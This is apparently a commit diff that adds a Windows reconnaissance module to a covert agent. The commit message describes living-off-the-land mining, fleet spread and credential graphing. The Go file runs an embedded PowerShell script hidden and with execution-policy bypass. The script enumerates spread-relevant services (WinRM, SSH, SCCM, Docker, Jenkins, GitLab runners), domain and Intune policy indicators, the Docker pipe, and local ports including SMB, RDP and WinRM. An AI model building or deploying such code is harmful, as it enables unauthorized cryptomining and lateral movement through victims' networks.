Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
120
agent/deploy/service_discovery_windows.go
Normal file
120
agent/deploy/service_discovery_windows.go
Normal file
@@ -0,0 +1,120 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const serviceDiscoverScript = `
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
$p = [ordered]@{ services = @(); hints = @() }
|
||||
|
||||
# ── Local services (T1007) — management + spread-relevant only ───────────────
|
||||
$watch = @(
|
||||
'CCMEXEC','CcmSetup','SmsAgent','WinRM','ssh','sshd','LanmanServer','Docker',
|
||||
'com.docker.service','jenkins','Jenkins','gitlab-runner','GitLabRunner',
|
||||
'OpenSSH SSH Server','cloudflared','gpsvc'
|
||||
)
|
||||
foreach ($n in $watch) {
|
||||
try {
|
||||
$s = Get-Service -Name $n -ErrorAction SilentlyContinue
|
||||
if (-not $s) {
|
||||
$s = Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -eq $n -or $_.DisplayName -like "*$n*" } | Select-Object -First 1
|
||||
}
|
||||
if ($s) {
|
||||
$st = if ($s.Status -eq 'Running') { 'running' } else { 'stopped' }
|
||||
$p.services += [ordered]@{ name = $s.Name; status = $st }
|
||||
}
|
||||
} catch {}
|
||||
}
|
||||
|
||||
# ── GPO / Intune passive indicators ───────────────────────────────────────────
|
||||
try {
|
||||
$cs = Get-CimInstance Win32_ComputerSystem
|
||||
if ($cs.PartOfDomain) { $p.hints += 'domain_joined' }
|
||||
} catch {}
|
||||
if (Test-Path 'HKLM:\SOFTWARE\Microsoft\Enrollments') { $p.hints += 'intune_enrollment_key' }
|
||||
if (Test-Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate') { $p.hints += 'wu_policy_key' }
|
||||
try {
|
||||
if ((Get-Service gpsvc -ErrorAction SilentlyContinue).Status -eq 'Running') { $p.hints += 'group_policy_client' }
|
||||
} catch {}
|
||||
|
||||
# ── Docker socket / named pipe ────────────────────────────────────────────────
|
||||
if (Test-Path '\\.\pipe\docker_engine') { $p.hints += 'docker_pipe' }
|
||||
|
||||
# ── Jenkins / GitLab runner filesystem hints ──────────────────────────────────
|
||||
@(
|
||||
'C:\Program Files\Jenkins',
|
||||
'C:\GitLab-Runner',
|
||||
'C:\gitlab-runner'
|
||||
) | ForEach-Object { if (Test-Path $_) { $p.hints += ('runner_path:' + $_) } }
|
||||
|
||||
# ── Test-NetConnection — common ports on localhost (fast) ─────────────────────
|
||||
$ports = @(22,445,3389,5985,5986,2375,8080,8443)
|
||||
foreach ($port in $ports) {
|
||||
try {
|
||||
$r = Test-NetConnection -ComputerName 127.0.0.1 -Port $port -WarningAction SilentlyContinue -InformationLevel Quiet
|
||||
if ($r) { $p.services += [ordered]@{ name = ('tcp/' + $port); port = $port; status = 'listening' } }
|
||||
} catch {}
|
||||
}
|
||||
|
||||
$p | ConvertTo-Json -Depth 4 -Compress
|
||||
`
|
||||
|
||||
func probeLocalServices() []ServiceGraphEntry {
|
||||
out, err := HiddenCombinedOutput(
|
||||
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
||||
serviceDiscoverScript,
|
||||
)
|
||||
if err != nil {
|
||||
return fallbackWindowsLocalServices()
|
||||
}
|
||||
raw := strings.TrimSpace(string(out))
|
||||
if idx := strings.LastIndex(raw, "{"); idx > 0 {
|
||||
raw = raw[idx:]
|
||||
}
|
||||
var payload windowsDiscoverPayload
|
||||
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
|
||||
return fallbackWindowsLocalServices()
|
||||
}
|
||||
entries := windowsRowsToEntries(payload.Services)
|
||||
if dockerPipePresent() {
|
||||
entries = append(entries, entryWithLane("docker", 0, "passive_hint"))
|
||||
}
|
||||
return dedupeEntries(entries)
|
||||
}
|
||||
|
||||
func collectPassiveHints() []string {
|
||||
out, err := HiddenCombinedOutput(
|
||||
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
||||
serviceDiscoverScript,
|
||||
)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
raw := strings.TrimSpace(string(out))
|
||||
if idx := strings.LastIndex(raw, "{"); idx > 0 {
|
||||
raw = raw[idx:]
|
||||
}
|
||||
var payload windowsDiscoverPayload
|
||||
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
|
||||
return nil
|
||||
}
|
||||
return payload.Hints
|
||||
}
|
||||
|
||||
func fallbackWindowsLocalServices() []ServiceGraphEntry {
|
||||
var entries []ServiceGraphEntry
|
||||
if _, err := os.Stat(`\\.\pipe\docker_engine`); err == nil {
|
||||
entries = append(entries, entryWithLane("docker", 0, "passive_hint"))
|
||||
}
|
||||
return entries
|
||||
}
|
||||
|
||||
func dockerPipePresent() bool {
|
||||
_, err := os.Stat(`\\.\pipe\docker_engine`)
|
||||
return err == nil
|
||||
}
|
||||
Reference in New Issue
Block a user